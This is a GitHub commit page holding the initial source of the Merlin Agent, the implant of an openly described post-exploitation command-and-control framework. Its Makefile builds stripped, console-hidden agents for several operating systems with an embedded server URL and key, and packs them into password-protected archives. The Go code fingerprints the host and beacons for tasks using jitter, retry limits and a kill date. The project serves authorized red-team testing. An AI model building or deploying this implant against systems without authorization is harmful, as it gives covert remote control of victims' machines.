Skip to content

Commit

Permalink
Initial Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
Ne0nd0g committed Apr 18, 2021
1 parent 860354e commit 96f3dac
Show file tree
Hide file tree
Showing 37 changed files with 6,234 additions and 1 deletion.
1 change: 1 addition & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
*.go linguist-language=Go
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
.DS_STORE
.idea/
agent/data
bin
90 changes: 90 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
# !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!!

# Agent file names
W=Windows-x64
L=Linux-x64
A=Linux-arm
M=Linux-mips
D=Darwin-x64

# Merlin version number
VERSION=$(shell cat ./core/core.go |grep "var Version ="|cut -d"\"" -f2)

MAGENT=merlinAgent
PASSWORD=merlin
BUILD=$(shell git rev-parse HEAD)
DIR=bin/v${VERSION}/${BUILD}

# Merlin Agent Variables
XBUILD=-X main.build=${BUILD} -X github.com/Ne0nd0g/merlin-agent/agent.build=${BUILD}
URL ?= https://127.0.0.1:443
XURL=-X main.url=${URL}
PSK ?= merlin
XPSK=-X main.psk=${PSK}
PROXY ?=
XPROXY =-X main.proxy=$(PROXY)
HOST ?=
XHOST =-X main.host=$(HOST)
PROTO ?= h2
XPROTO =-X main.protocol=$(PROTO)
JA3 ?=
XJA3 =-X main.ja3=$(JA3)

# Compile Flags
LDFLAGS=-ldflags "-s -w ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XPSK} ${XPROXY} -buildid="
WINAGENTLDFLAGS=-ldflags "-s -w ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XPSK} ${XPROXY} -H=windowsgui -buildid="
GCFLAGS=-gcflags=all=-trimpath=$(GOPATH)
ASMFLAGS=-asmflags=all=-trimpath=$(GOPATH)# -asmflags=-trimpath=$(GOPATH)

# Package Command
PACKAGE=7za a -p${PASSWORD} -mhe -mx=9
F=LICENSE

# Make Directory to store executables
$(shell mkdir -p ${DIR})

# Change default to just make for the host OS and add MAKE ALL to do this
default:
go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT} ./main.go

all: windows linux darwin

# Compile Agent - Windows x64
windows:
export GOOS=windows GOARCH=amd64;go build -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go

# Compile Agent - Linux mips
mips:
export GOOS=linux;export GOARCH=mips;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${M} ./main.go

# Compile Agent - Linux arm
arm:
export GOOS=linux;export GOARCH=arm;export GOARM=7;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${A} ./main.go

# Compile Agent - Linux x64
linux:
export GOOS=linux;export GOARCH=amd64;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go

# Compile Agent - Darwin x64
darwin:
export GOOS=darwin;export GOARCH=amd64;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go

package-windows:
${PACKAGE} ${DIR}/${MAGENT}-${W}.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${W}.7z ${MAGENT}-${W}.exe

package-linux:
${PACKAGE} ${DIR}/${MAGENT}-${L}.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${L}.7z ${MAGENT}-${L}

package-darwin:
${PACKAGE} ${DIR}/${MAGENT}-${D}.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${D}.7z ${MAGENT}-${D}

clean:
rm -rf ${DIR}*

package-all: package-windows package-linux package-darwin

#Build all files for release distribution
distro: clean all package-all
20 changes: 19 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1 +1,19 @@
# merlin-agent
[![AppVeyor](https://ci.appveyor.com/api/projects/status/github/Ne0nd0g/merlin-agent?branch=master&svg=true)](https://ci.appveyor.com/project/Ne0nd0g/merlin-agent)
[![GoReportCard](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent)](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent)
[![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
[![Release](https://img.shields.io/github/release/Ne0nd0g/merlin-agent.svg)](https://github.com/Ne0nd0g/merlin-agent/releases/latest)
[![Downloads](https://img.shields.io/github/downloads/Ne0nd0g/merlin-agent/total.svg)](https://github.com/Ne0nd0g/merlin-agent/releases)
[![Twitter Follow](https://img.shields.io/twitter/follow/merlin_c2.svg?style=social&label=Follow)](https://twitter.com/merlin_c2)

# Merlin Agent

<p align="center">
<img src="https://i.imgur.com/4iKuvuj.jpg" height="30%" width="30%">
</p>

This repository contains the Agent code for [Merlin](https://github.com/Ne0nd0g/merlin) post-exploitation command and
control framework.

> Compiled versions of the agent for all Operating Systems are distributed in release packages from the main project
Documentation for the project can be found at https://merlin-c2.readthedocs.io/en/latest/
255 changes: 255 additions & 0 deletions agent/agent.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,255 @@
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl

// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.

// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.

package agent

import (
// Standard
"fmt"
"math/rand"
"net"
"os"
"os/user"
"runtime"
"strconv"
"time"

// 3rd Party
"github.com/satori/go.uuid"

// Merlin Main
"github.com/Ne0nd0g/merlin/pkg/messages"

// Internal
"github.com/Ne0nd0g/merlin-agent/cli"
"github.com/Ne0nd0g/merlin-agent/clients"
"github.com/Ne0nd0g/merlin-agent/core"
)

// GLOBAL VARIABLES
var build = "nonRelease" // build is the build number of the Merlin Agent program set at compile time

// Agent is a structure for agent objects. It is not exported to force the use of the New() function
type Agent struct {
ID uuid.UUID // ID is a Universally Unique Identifier per agent
Client clients.ClientInterface // Client is an interface for clients to make connections for agent communications
Platform string // Platform is the operating system platform the agent is running on (i.e. windows)
Architecture string // Architecture is the operating system architecture the agent is running on (i.e. amd64)
UserName string // UserName is the username that the agent is running as
UserGUID string // UserGUID is a Globally Unique Identifier associated with username
HostName string // HostName is the computer's host name
Ips []string // Ips is a slice of all the IP addresses assigned to the host's interfaces
Pid int // Pid is the Process ID that the agent is running under
iCheckIn time.Time // iCheckIn is a timestamp of the agent's initial check in time
sCheckIn time.Time // sCheckIn is a timestamp of the agent's last status check in time
Version string // Version is the version number of the Merlin Agent program
Build string // Build is the build number of the Merlin Agent program
WaitTime time.Duration // WaitTime is how much time the agent waits in-between checking in
MaxRetry int // MaxRetry is the maximum amount of failed check in attempts before the agent quits
Skew int64 // Skew is size of skew added to each WaitTime to vary check in attempts
FailedCheckin int // FailedCheckin is a count of the total number of failed check ins
Initial bool // Initial identifies if the agent has successfully completed the first initial check in
KillDate int64 // killDate is a unix timestamp that denotes a time the executable will not run after (if it is 0 it will not be used)
}

// Config is a structure that is used to pass in all necessary information to instantiate a new Agent
type Config struct {
Sleep string // Sleep is the amount of time the Agent will wait between sending messages to the server
Skew string // Skew is the variance, or jitter, used to vary the sleep time so that it isn't constant
KillDate string // KillDate is the date, as a Unix timestamp, that agent will quit running
MaxRetry string // MaxRetry is the maximum amount of time an agent will fail to check in before it quits running
}

// New creates a new agent struct with specific values and returns the object
func New(config Config) (*Agent, error) {
cli.Message(cli.DEBUG, "Entering agent.New() function")

agent := Agent{
ID: uuid.NewV4(),
Platform: runtime.GOOS,
Architecture: runtime.GOARCH,
Pid: os.Getpid(),
Version: core.Version,
Initial: false,
}

rand.Seed(time.Now().UnixNano())

u, errU := user.Current()
if errU != nil {
return &agent, fmt.Errorf("there was an error getting the current user:\r\n%s", errU)
}

agent.UserName = u.Username
agent.UserGUID = u.Gid

h, errH := os.Hostname()
if errH != nil {
return &agent, fmt.Errorf("there was an error getting the hostname:\r\n%s", errH)
}

agent.HostName = h

interfaces, errI := net.Interfaces()
if errI != nil {
return &agent, fmt.Errorf("there was an error getting the IP addresses:\r\n%s", errI)
}

for _, iface := range interfaces {
addrs, err := iface.Addrs()
if err == nil {
for _, addr := range addrs {
agent.Ips = append(agent.Ips, addr.String())
}
} else {
return &agent, fmt.Errorf("there was an error getting interface information:\r\n%s", err)
}
}

// Parse config
var err error
// Parse KillDate
if config.KillDate != "" {
agent.KillDate, err = strconv.ParseInt(config.KillDate, 10, 64)
if err != nil {
return &agent, fmt.Errorf("there was an error converting the killdate to an integer:\r\n%s", err)
}
} else {
agent.KillDate = 0
}
// Parse MaxRetry
if config.MaxRetry != "" {
agent.MaxRetry, err = strconv.Atoi(config.MaxRetry)
if err != nil {
return &agent, fmt.Errorf("there was an error converting the max retry to an integer:\r\n%s", err)
}
} else {
agent.MaxRetry = 7
}
// Parse Sleep
if config.Sleep != "" {
agent.WaitTime, err = time.ParseDuration(config.Sleep)
if err != nil {
return &agent, fmt.Errorf("there was an error converting the sleep time to an integer:\r\n%s", err)
}
} else {
agent.WaitTime = 30000 * time.Millisecond
}
// Parse Skew
if config.Skew != "" {
agent.Skew, err = strconv.ParseInt(config.Skew, 10, 64)
if err != nil {
return &agent, fmt.Errorf("there was an error converting the skew to an integer:\r\n%s", err)
}
} else {
agent.Skew = 3000
}

cli.Message(cli.INFO, "Host Information:")
cli.Message(cli.INFO, fmt.Sprintf("\tAgent UUID: %s", agent.ID))
cli.Message(cli.INFO, fmt.Sprintf("\tPlatform: %s", agent.Platform))
cli.Message(cli.INFO, fmt.Sprintf("\tArchitecture: %s", agent.Architecture))
cli.Message(cli.INFO, fmt.Sprintf("\tUser Name: %s", agent.UserName)) //TODO A username like _svctestaccont causes error
cli.Message(cli.INFO, fmt.Sprintf("\tUser GUID: %s", agent.UserGUID))
cli.Message(cli.INFO, fmt.Sprintf("\tHostname: %s", agent.HostName))
cli.Message(cli.INFO, fmt.Sprintf("\tPID: %d", agent.Pid))
cli.Message(cli.INFO, fmt.Sprintf("\tIPs: %v", agent.Ips))
cli.Message(cli.DEBUG, "Leaving agent.New function")

return &agent, nil
}

// Run instructs an agent to establish communications with the passed in server using the passed in protocol
func (a *Agent) Run() {
rand.Seed(time.Now().UTC().UnixNano())

cli.Message(cli.NOTE, fmt.Sprintf("Agent version: %s", a.Version))
cli.Message(cli.NOTE, fmt.Sprintf("Agent build: %s", build))

for {
// Verify the agent's kill date hasn't been exceeded
if (a.KillDate != 0) && (time.Now().Unix() >= a.KillDate) {
cli.Message(cli.WARN, fmt.Sprintf("agent kill date has been exceeded: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))
os.Exit(0)
}
// Check in
if a.Initial {
cli.Message(cli.NOTE, "Checking in...")
a.statusCheckIn()
} else {
msg, err := a.Client.Initial(a.getAgentInfoMessage())
if err != nil {
a.FailedCheckin++
cli.Message(cli.WARN, err.Error())
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry))
} else {
a.messageHandler(msg)
a.Initial = true
a.iCheckIn = time.Now().UTC()
}
}
// Determine if the max number of failed checkins has been reached
if a.FailedCheckin >= a.MaxRetry {
cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d", a.MaxRetry))
os.Exit(0)
}
// Sleep
var sleep time.Duration
if a.Skew > 0 {
sleep = a.WaitTime + (time.Duration(rand.Int63n(a.Skew)) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK
} else {
sleep = a.WaitTime
}
cli.Message(cli.NOTE, fmt.Sprintf("Sleeping for %s at %s", sleep.String(), time.Now().UTC().Format(time.RFC3339)))
time.Sleep(sleep)
}
}

// statusCheckIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs
func (a *Agent) statusCheckIn() {
cli.Message(cli.DEBUG, "Entering into agent.statusCheckIn()")

msg := getJobs()
msg.ID = a.ID

j, reqErr := a.Client.SendMerlinMessage(msg)

if reqErr != nil {
a.FailedCheckin++
cli.Message(cli.WARN, reqErr.Error())
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry))

// Put the jobs back into the queue if there was an error
if msg.Type == messages.JOBS {
a.messageHandler(msg)
}
return
}

a.FailedCheckin = 0
a.sCheckIn = time.Now().UTC()

cli.Message(cli.DEBUG, fmt.Sprintf("Agent ID: %s", j.ID))
cli.Message(cli.DEBUG, fmt.Sprintf("Message Type: %s", messages.String(j.Type)))
cli.Message(cli.DEBUG, fmt.Sprintf("Message Payload: %+v", j.Payload))

// Handle message
a.messageHandler(j)

}

// TODO Update Makefile to remove debug stacktrace for agents only. GOTRACEBACK=0 #https://dave.cheney.net/tag/gotraceback https://golang.org/pkg/runtime/debug/#SetTraceback
Loading

0 comments on commit 96f3dac

Please sign in to comment.